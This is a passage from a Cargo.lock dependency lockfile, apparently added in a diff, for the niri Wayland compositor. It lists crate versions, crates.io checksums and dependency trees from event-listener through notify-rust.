"event-listener" +version = "5.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b72557800024fabbaa2449dd4bf24e37b93702d457a4d4f2b0dd1f0f039f20c1" +dependencies = [ + "concurrent-queue", + "parking", + "pin-project-lite", +] + +[[package]] +name = "event-listener-strategy" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "958e4d70b6d5e81971bebec42271ec641e7ff4e170a6fa605f2b8a8b65cb97d3" +dependencies = [ + "event-listener 4.0.3", + "pin-project-lite", +] + +[[package]] +name = "event-listener-strategy" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "feedafcaa9b749175d5ac357452a9d41ea2911da598fde46ce1fe02c37751291" +dependencies = [ + "event-listener 5.0.0", + "pin-project-lite", +] + +[[package]] +name = "fastrand" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e51093e27b0797c359783294ca4f0a911c270184cb10f85783b118614a1501be" +dependencies = [ + "instant", +] + +[[package]] +name = "fastrand" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5" + +[[package]] +name = "fdeflate" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4f9bfee30e4dedf0ab8b422f03af778d9612b63f502710fc500a334ebe2de645" +dependencies = [ + "simd-adler32", +] + +[[package]] +name = "field-offset" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38e2275cc4e4fc009b0669731a1e5ab7ebf11f469eaede2bab9309a5b4d6057f" +dependencies = [ + "memoffset 0.9.0", + "rustc_version", +] + +[[package]] +name = "flate2" +version = "1.0.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "46303f565772937ffe1d394a4fac6f411c6013172fadde9dcdb1e147a086940e" +dependencies = [ + "crc32fast", + "miniz_oxide", +] + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "foreign-types" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d737d9aa519fb7b749cbc3b962edcf310a8dd1f4b67c91c4f83975dbdd17d965" +dependencies = [ + "foreign-types-macros", + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-macros" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a5c6c585bc94aaf2c7b51dd4c2ba22680844aba4c687be581871a6f518c5742" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "foreign-types-shared" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa9a19cbb55df58761df49b23516a86d432839add4af60fc256da840f66ed35b" + +[[package]] +name = "form_urlencoded" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "futures-channel" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eac8f7d7865dcb88bd4373ab671c8cf4508703796caa2b1985a9ca867b3fcb78" +dependencies = [ + "futures-core", +] + +[[package]] +name = "futures-core" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dfc6580bb841c5a68e9ef15c77ccc837b40a7504914d52e47b8b0e9bbda25a1d" + +[[package]] +name = "futures-executor" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a576fc72ae164fca6b9db127eaa9a9dda0d61316034f33a0a0d4eda41f02b01d" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1" + +[[package]] +name = "futures-lite" +version = "1.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49a9d51ce47660b1e808d3c990b4709f2f415d928835a17dfd16991515c46bce" +dependencies = [ + "fastrand 1.9.0", + "futures-core", + "futures-io", + "memchr", + "parking", + "pin-project-lite", + "waker-fn", +] + +[[package]] +name = "futures-lite" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "445ba825b27408685aaecefd65178908c36c6e96aaf6d8599419d46e624192ba" +dependencies = [ + "fastrand 2.0.1", + "futures-core", + "futures-io", + "parking", + "pin-project-lite", +] + +[[package]] +name = "futures-macro" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "futures-sink" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fb8e00e87438d937621c1c6269e53f536c14d3fbd6a042bb24879e57d474fb5" + +[[package]] +name = "futures-task" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38d84fa142264698cdce1a9f9172cf383a0c82de1bddcf3092901442c4097004" + +[[package]] +name = "futures-util" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6401deb83407ab3da39eba7e33987a73c3df0c82b4bb5813ee871c19c41d48" +dependencies = [ + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "gbm" +version = "0.14.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f177420f6650dcd50042121adf7ff7ab265abdaf4862fe2624066e36e3a9ef34" +dependencies = [ + "bitflags 1.3.2", + "drm", + "drm-fourcc", + "gbm-sys", + "libc", + "wayland-backend", + "wayland-server", +] + +[[package]] +name = "gbm-sys" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6fd2d6bf7c0143b38beece05f9a5c4c851a49a8434f62bf58ff28da92b0ddc58" +dependencies = [ + "libc", +] + +[[package]] +name = "gdk-pixbuf" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c311c47800051b87de1335e8792774d7cec551c91a0a3d109ab21d76b36f208f" +dependencies = [ + "gdk-pixbuf-sys", + "gio", + "glib", + "libc", +] + +[[package]] +name = "gdk-pixbuf-sys" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3dcbd04c1b2c4834cc008b4828bc917d062483b88d26effde6342e5622028f96" +dependencies = [ + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "system-deps", +] + +[[package]] +name = "gdk4" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6771942f85a2beaa220c64739395e4401b9fab4a52aba9b503fa1e6ed4d4d806" +dependencies = [ + "cairo-rs", + "gdk-pixbuf", + "gdk4-sys", + "gio", + "glib", + "libc", + "pango", +] + +[[package]] +name = "gdk4-sys" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1eb95854fab65072023a7814434f003db571d6e45c287c0b0c540c1c78bdf6ae" +dependencies = [ + "cairo-sys-rs", + "gdk-pixbuf-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "pango-sys", + "pkg-config", + "system-deps", +] + +[[package]] +name = "generator" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5cc16584ff22b460a382b7feec54b23d2908d858152e5739a120b949293bd74e" +dependencies = [ + "cc", + "libc", + "log", + "rustversion", + "windows 0.48.0", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "gethostname" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0176e0459c2e4a1fe232f984bca6890e681076abb9934f6cea7c326f3fc47818" +dependencies = [ + "libc", + "windows-targets 0.48.5", +] + +[[package]] +name = "getrandom" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "gio" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b3d1aaa2d926710a27f3b35822806b1513b393b71174dd2601c9d02fdab0cb82" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-util", + "gio-sys", + "glib", + "libc", + "pin-project-lite", + "smallvec", + "thiserror", +] + +[[package]] +name = "gio-sys" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bcf8e1d9219bb294636753d307b030c1e8a032062cba74f493c431a5c8b81ce4" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps", + "windows-sys 0.52.0", +] + +[[package]] +name = "git-version" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ad568aa3db0fcbc81f2f116137f263d7304f512a1209b35b85150d3ef88ad19" +dependencies = [ + "git-version-macro", +] + +[[package]] +name = "git-version-macro" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53010ccb100b96a67bc32c0175f0ed1426b31b655d562898e57325f81c023ac0" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "gl_generator" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a95dfc23a2b4a9a2f5ab41d194f8bfda3cabec42af4e39f08c339eb2a0c124d" +dependencies = [ + "khronos_api", + "log", + "xml-rs", +] + +[[package]] +name = "glib" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "170ee82b9b44b3b5fd1cf4971d6cf0eadec38303bb84c7bcc4e6b95a18934e71" +dependencies = [ + "bitflags 2.4.2", + "futures-channel", + "futures-core", + "futures-executor", + "futures-task", + "futures-util", + "gio-sys", + "glib-macros", + "glib-sys", + "gobject-sys", + "libc", + "memchr", + "smallvec", + "thiserror", +] + +[[package]] +name = "glib-macros" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2ff52fff7e4d1bb8598ae744e9bb90c8c76271712483c3f0ce931bee9814de85" +dependencies = [ + "heck", + "proc-macro-crate 3.1.0", + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "glib-sys" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "630f097773d7c7a0bb3258df4e8157b47dc98bbfa0e60ad9ab56174813feced4" +dependencies = [ + "libc", + "system-deps", +] + +[[package]] +name = "glob" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b" + +[[package]] +name = "gobject-sys" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c85e2b1080b9418dd0c58b498da3a5c826030343e0ef07bde6a955d28de54979" +dependencies = [ + "glib-sys", + "libc", + "system-deps", +] + +[[package]] +name = "graphene-rs" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147827e4f506f8073ac3ec5b28cc2255bdf3abc30f5b4e101a80506eebe11d2c" +dependencies = [ + "glib", + "graphene-sys", + "libc", +] + +[[package]] +name = "graphene-sys" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "236ed66cc9b18d8adf233716f75de803d0bf6fc806f60d14d948974a12e240d0" +dependencies = [ + "glib-sys", + "libc", + "pkg-config", + "system-deps", +] + +[[package]] +name = "gsk4" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0e8ce8dee0fd87a11002214b1204ff18c9272fbd530408f0884a0f9b25dc31de" +dependencies = [ + "cairo-rs", + "gdk4", + "glib", + "graphene-rs", + "gsk4-sys", + "libc", + "pango", +] + +[[package]] +name = "gsk4-sys" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2660a652da5b662d43924df19ba40d73f015ed427329ef51d2b1360a4e0dc0e4" +dependencies = [ + "cairo-sys-rs", + "gdk4-sys", + "glib-sys", + "gobject-sys", + "graphene-sys", + "libc", + "pango-sys", + "system-deps", +] + +[[package]] +name = "gtk4" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d26ffa3ec6316ccaa1df62d3e7f5bae1637c0acbb43f250fabef38319f73c64" +dependencies = [ + "cairo-rs", + "field-offset", + "futures-channel", + "gdk-pixbuf", + "gdk4", + "gio", + "glib", + "graphene-rs", + "gsk4", + "gtk4-macros", + "gtk4-sys", + "libc", + "pango", +] + +[[package]] +name = "gtk4-macros" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8b86439e9896f6f3f47c3d8077c5c8205174078760afdabd9098a8e9e937d97" +dependencies = [ + "anyhow", + "proc-macro-crate 3.1.0", + "proc-macro-error", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "gtk4-sys" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2abc0a6d356d59a3806021829ce6ed3e70bba3509b41a535fedcb09fae13fbc0" +dependencies = [ + "cairo-sys-rs", + "gdk-pixbuf-sys", + "gdk4-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "graphene-sys", + "gsk4-sys", + "libc", + "pango-sys", + "system-deps", +] + +[[package]] +name = "hashbrown" +version = "0.14.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" +dependencies = [ + "ahash", + "allocator-api2", +] + +[[package]] +name = "heck" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" +dependencies = [ + "unicode-segmentation", +] + +[[package]] +name = "hermit-abi" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0c62115964e08cb8039170eb33c1d0e2388a256930279edca206fff675f82c3" + +[[package]] +name = "hex" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" + +[[package]] +name = "icrate" +version = "0.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "99d3aaff8a54577104bafdf686ff18565c3b6903ca5782a2026ef06e2c7aa319" +dependencies = [ + "block2", + "dispatch", + "objc2", +] + +[[package]] +name = "idna" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" +dependencies = [ + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "indexmap" +version = "2.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "824b2ae422412366ba479e8111fd301f7b5faece8149317bb81925979a53f520" +dependencies = [ + "equivalent", + "hashbrown", +] + +[[package]] +name = "input" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7911ce3db9c10c5ab4a35c49af778a5f9a827bd0f7371d9be56175d8dd2740d0" +dependencies = [ + "bitflags 2.4.2", + "input-sys", + "io-lifetimes 1.0.11", + "libc", + "log", + "udev", +] + +[[package]] +name = "input-sys" +version = "1.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd4f5b4d1c00331c5245163aacfe5f20be75b564c7112d45893d4ae038119eb0" + +[[package]] +name = "instant" +version = "0.1.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "io-lifetimes" +version = "1.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eae7b9aee968036d54dce06cebaefd919e4472e753296daccd6d344e3e2df0c2" +dependencies = [ + "hermit-abi", + "libc", + "windows-sys 0.48.0", +] + +[[package]] +name = "io-lifetimes" +version = "2.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a611371471e98973dbcab4e0ec66c31a10bc356eeb4d54a0e05eac8158fe38c" + +[[package]] +name = "itertools" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569" +dependencies = [ + "either", +] + +[[package]] +name = "itoa" +version = "1.0.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" + +[[package]] +name = "jni" +version = "0.21.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a87aa2bb7d2af34197c04845522473242e1aa17c12f4935d5856491a7fb8c97" +dependencies = [ + "cesu8", + "cfg-if", + "combine", + "jni-sys", + "log", + "thiserror", + "walkdir", + "windows-sys 0.45.0", +] + +[[package]] +name = "jni-sys" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8eaf4bc02d17cbdd7ff4c7438cafcdf7fb9a4613313ad11b4f8fefe7d3fa0130" + +[[package]] +name = "jobserver" +version = "0.1.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab46a6e9526ddef3ae7f787c06f0f2600639ba80ea3eade3d8e670a2230f51d6" +dependencies = [ + "libc", +] + +[[package]] +name = "js-sys" +version = "0.3.68" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "406cda4b368d531c842222cf9d2600a9a4acce8d29423695379c6868a143a9ee" +dependencies = [ + "wasm-bindgen", +] + +[[package]] +name = "keyframe" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "60708bf7981518d09095d6f5673ce5cf6a64f1e0d9708b554f670e6d9d2bd9a9" +dependencies = [ + "num-traits", +] + +[[package]] +name = "khronos_api" +version = "3.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2db585e1d738fc771bf08a151420d3ed193d9d895a36df7f6f8a9456b911ddc" + +[[package]] +name = "knuffel" +version = "3.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "04bee6ddc6071011314b1ce4f7705fef6c009401dba4fd22cb0009db6a177413" +dependencies = [ + "base64", + "chumsky", + "knuffel-derive", + "miette", + "thiserror", + "unicode-width", +] + +[[package]] +name = "knuffel-derive" +version = "3.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91977f56c49cfb961e3d840e2e7c6e4a56bde7283898cf606861f1421348283d" +dependencies = [ + "heck", + "proc-macro-error", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "lazy_static" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" + +[[package]] +name = "lazycell" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55" + +[[package]] +name = "libadwaita" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91b4990248b9e1ec5e72094a2ccaea70ec3809f88f6fd52192f2af306b87c5d9" +dependencies = [ + "gdk-pixbuf", + "gdk4", + "gio", + "glib", + "gtk4", + "libadwaita-sys", + "libc", + "pango", +] + +[[package]] +name = "libadwaita-sys" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23a748e4e92be1265cd9e93d569c0b5dfc7814107985aa6743d670ab281ea1a8" +dependencies = [ + "gdk4-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "gtk4-sys", + "libc", + "pango-sys", + "system-deps", +] + +[[package]] +name = "libc" +version = "0.2.153" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c198f91728a82281a64e1f4f9eeb25d82cb32a5de251c6bd1b5154d63a8e7bd" + +[[package]] +name = "libloading" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c571b676ddfc9a8c12f1f3d3085a7b163966a8fd8098a90640953ce5f6170161" +dependencies = [ + "cfg-if", + "windows-sys 0.48.0", +] + +[[package]] +name = "libm" +version = "0.2.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ec2a862134d2a7d32d7983ddcdd1c4923530833c9f2ea1a44fc5fa473989058" + +[[package]] +name = "libredox" +version = "0.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85c833ca1e66078851dba29046874e38f08b2c883700aa29a03ddd3b23814ee8" +dependencies = [ + "bitflags 2.4.2", + "libc", + "redox_syscall 0.4.1", +] + +[[package]] +name = "libredox" +version = "0.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3af92c55d7d839293953fcd0fda5ecfe93297cfde6ffbdec13b41d99c0ba6607" +dependencies = [ + "bitflags 2.4.2", + "libc", + "redox_syscall 0.4.1", +] + +[[package]] +name = "libseat" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "54a0adf8d8607a73a5b74cbe4132f57cb349e4bf860103cd089461bbcbc9907e" +dependencies = [ + "errno", + "libseat-sys", + "log", +] + +[[package]] +name = "libseat-sys" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3671cb5e03871f1d6bf0b3b5daa9275549e348fa6359e0f9adb910ca163d4c34" +dependencies = [ + "pkg-config", +] + +[[package]] +name = "libspa" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65f3a4b81b2a2d8c7f300643676202debd1b7c929dbf5c9bb89402ea11d19810" +dependencies = [ + "bitflags 2.4.2", + "cc", + "convert_case", + "cookie-factory", + "libc", + "libspa-sys", + "nix 0.27.1", + "nom", + "system-deps", +] + +[[package]] +name = "libspa-sys" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf0d9716420364790e85cbb9d3ac2c950bde16a7dd36f3209b7dfdfc4a24d01f" +dependencies = [ + "bindgen", + "cc", + "system-deps", +] + +[[package]] +name = "libudev-sys" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c8469b4a23b962c1396b9b451dda50ef5b283e8dd309d69033475fa9b334324" +dependencies = [ + "libc", + "pkg-config", +] + +[[package]] +name = "linux-raw-sys" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef53942eb7bf7ff43a617b3e2c1c4a5ecf5944a7c1bc12d7ee39bbb15e5c1519" + +[[package]] +name = "linux-raw-sys" +version = "0.4.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "01cda141df6706de531b6c46c3a33ecca755538219bd484262fa09410c13539c" + +[[package]] +name = "linux-raw-sys" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0b5399f6804fbab912acbd8878ed3532d506b7c951b8f9f164ef90fef39e3f4" + +[[package]] +name = "log" +version = "0.4.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" + +[[package]] +name = "loom" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e045d70ddfbc984eacfa964ded019534e8f6cbf36f6410aee0ed5cefa5a9175" +dependencies = [ + "cfg-if", + "generator", + "scoped-tls", + "tracing", + "tracing-subscriber", +] + +[[package]] +name = "mac-notification-sys" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "51fca4d74ff9dbaac16a01b924bc3693fa2bba0862c2c633abc73f9a8ea21f64" +dependencies = [ + "cc", + "dirs-next", + "objc-foundation", + "objc_id", + "time", +] + +[[package]] +name = "malloc_buf" +version = "0.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62bb907fe88d54d8d9ce32a3cceab4218ed2f6b7d35617cafe9adf84e43919cb" +dependencies = [ + "libc", +] + +[[package]] +name = "matchers" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558" +dependencies = [ + "regex-automata 0.1.10", +] + +[[package]] +name = "memchr" +version = "2.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149" + +[[package]] +name = "memmap2" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43a5a03cefb0d953ec0be133036f14e109412fa594edc2f77227249db66cc3ed" +dependencies = [ + "libc", +] + +[[package]] +name = "memmap2" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe751422e4a8caa417e13c3ea66452215d7d63e19e604f4980461212f3ae1322" +dependencies = [ + "libc", +] + +[[package]] +name = "memoffset" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5de893c32cde5f383baa4c04c5d6dbdd735cfd4a794b0debdb2bb1b421da5ff4" +dependencies = [ + "autocfg", +] + +[[package]] +name = "memoffset" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a634b1c61a95585bd15607c6ab0c4e5b226e695ff2800ba0cdccddf208c406c" +dependencies = [ + "autocfg", +] + +[[package]] +name = "miette" +version = "5.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59bb584eaeeab6bd0226ccf3509a69d7936d148cf3d036ad350abe35e8c6856e" +dependencies = [ + "miette-derive", + "once_cell", + "thiserror", + "unicode-width", +] + +[[package]] +name = "miette-derive" +version = "5.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49e7bc1560b95a3c4a25d03de42fe76ca718ab92d1a22a55b9b4cf67b3ae635c" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + +[[package]] +name = "miniz_oxide" +version = "0.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d811f3e15f28568be3407c8e7fdb6514c1cda3cb30683f15b6a1a1dc4ea14a7" +dependencies = [ + "adler", + "simd-adler32", +] + +[[package]] +name = "ndk" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2076a31b7010b17a38c01907c45b945e8f11495ee4dd588309718901b1f7a5b7" +dependencies = [ + "bitflags 2.4.2", + "jni-sys", + "log", + "ndk-sys", + "num_enum", + "raw-window-handle", + "thiserror", +] + +[[package]] +name = "ndk-context" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "27b02d87554356db9e9a873add8782d4ea6e3e58ea071a9adb9a2e8ddb884a8b" + +[[package]] +name = "ndk-sys" +version = "0.5.0+25.2.9519653" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8c196769dd60fd4f363e11d948139556a344e79d451aeb2fa2fd040738ef7691" +dependencies = [ + "jni-sys", +] + +[[package]] +name = "niri" +version = "0.1.2" +dependencies = [ + "anyhow", + "arrayvec", + "async-channel", + "async-io 1.13.0", + "bitflags 2.4.2", + "calloop", + "clap", + "directories", + "futures-util", + "git-version", + "input", + "keyframe", + "libc", + "log", + "niri-config", + "niri-ipc", + "notify-rust", + "pangocairo", + "pipewire", + "png", + "portable-atomic", + "profiling", + "proptest", + "proptest-derive", + "sd-notify", + "serde", + "serde_json", + "smithay", + "smithay-drm-extras", + "tracing", + "tracing-subscriber", + "tracy-client", + "url", + "xcursor", + "xshell", + "zbus", +] + +[[package]] +name = "niri-config" +version = "0.1.2" +dependencies = [ + "bitflags 2.4.2", + "knuffel", + "miette", + "niri-ipc", + "regex", + "smithay", + "tracing", + "tracy-client", +] + +[[package]] +name = "niri-ipc" +version = "0.1.2" +dependencies = [ + "clap", + "serde", +] + +[[package]] +name = "niri-visual-tests" +version = "0.1.2" +dependencies = [ + "anyhow", + "gtk4", + "libadwaita", + "niri", + "niri-config", + "smithay", + "tracing", + "tracing-subscriber", +] + +[[package]] +name = "nix" +version = "0.26.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "598beaf3cc6fdd9a5dfb1630c2800c7acd31df7aaf0f565796fba2b53ca1af1b" +dependencies = [ + "bitflags 1.3.2", + "cfg-if", + "libc", + "memoffset 0.7.1", +] + +[[package]] +name = "nix" +version = "0.27.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2eb04e9c688eff1c89d72b407f168cf79bb9e867a9d3323ed6c01519eb9cc053" +dependencies = [ + "bitflags 2.4.2", + "cfg-if", + "libc", +] + +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + +[[package]] +name = "notify-rust" +version = "4.10.0" +source = 